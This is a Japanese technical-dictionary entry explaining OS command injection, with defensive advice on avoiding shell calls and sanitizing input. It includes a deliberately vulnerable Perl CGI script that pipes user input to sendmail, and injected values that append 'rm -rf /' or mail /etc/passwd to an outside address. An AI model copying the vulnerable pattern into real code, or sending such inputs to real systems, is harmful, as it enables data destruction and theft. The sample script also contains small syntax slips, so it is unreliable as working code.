OSコマンドインジェクション攻撃

読み:オウエス・コマンド・インジェクションこうげき
外語:OS command injection attack 英語
品詞:名詞

インジェクション攻撃の一つ。

目次

パラメーターにOSコマンドを挿入し、プログラムに意図しないコマンドを実行させることを狙った攻撃。

root権限奪取の足がかりになる、極めて危険な攻撃である。

この攻撃を受けてしまうようなセキュリティホールは、絶対に発生させてはならない。

サンプルソースコード(Perl)

CGIプログラムで、メールアドレスの登録者に自動で返信する処理を想定する。

#!/usr/bin/perl
use strict;
use CGI;
my $cgi = new CGI;
my $mail = $cgi->param('mail')
my $fp;
open(fp, "|/usr/lib/sendmail $mail");
print fp "Subject: Registration of mail address\n";
print fp "From: regist@example.com\n\n";
print fp "登録ありがとうございます。\n";
close($fp);

この例では、Webのフォームなどから呼ばれ、利用者が入力したメールアドレスがCGIパラメーターmailの値となることとする。

もしメールアドレスに「nurupo@example.jp」と入力された場合、上のプログラムでは次のような文字列を作り、シェルに渡され実行される。

/usr/lib/sendmail nurupo@example.jp

恐らくこれが、本来想定された動作だろう。しかしもし、悪意ある利用者が「nurupo@example.jp; rm -rf /」と入力した場合、どうなるであろうか。この場合、次のコマンドが実行されてしまう。

/usr/lib/sendmail nurupo@example.jp; rm -rf /

「;」は複数のコマンドを区切る文字で、シェルはこの文字を境に、順次左から実行してゆく。つまり、メールを送った後、「rm -rf /」が実行される。

rm -rf /とは、そのコンピューター内の全ファイルを消せ、という命令である。これが実際に実行されてしまえば、そのコンピューターが再起不能になるであろうことは、想像に難くない。

また破壊攻撃でなくても、「nurupo@example.jp ; mail nurupo@example.jp < /etc/passwd」のようなことをされる可能性もある。この場合、そのサーバー内にあるファイルが外部に流出することになる。

攻撃の防止方法

Webアプリケーションの原則として、安易にOSコマンドを呼び出すようなプログラムを書いてはならない。

OSコマンドを呼ぶ必要性は現実には極めて限定的であろうし、もしその場合は深刻な脆弱性を生む可能性が高いため、処理を書くときには充分な注意が必要である。

また、入力データが汚染されている可能性があるため、サニタイジングを実施することも忘れてはならない。つまり、入力のチェックは、念入りに行なう必要がある、ということである。

用語の所属
アタック
OS
関連する用語
インジェクション攻撃
セキュリティホール

コメントなどを投稿するフォームは、日本語対応時のみ表示されます


KisoDic通信用語の基礎知識検索システム WDIC Explorer Version 7.04a (27-May-2022)
Search System : Copyright © Mirai corporation
Dictionary : Copyright © WDIC Creators club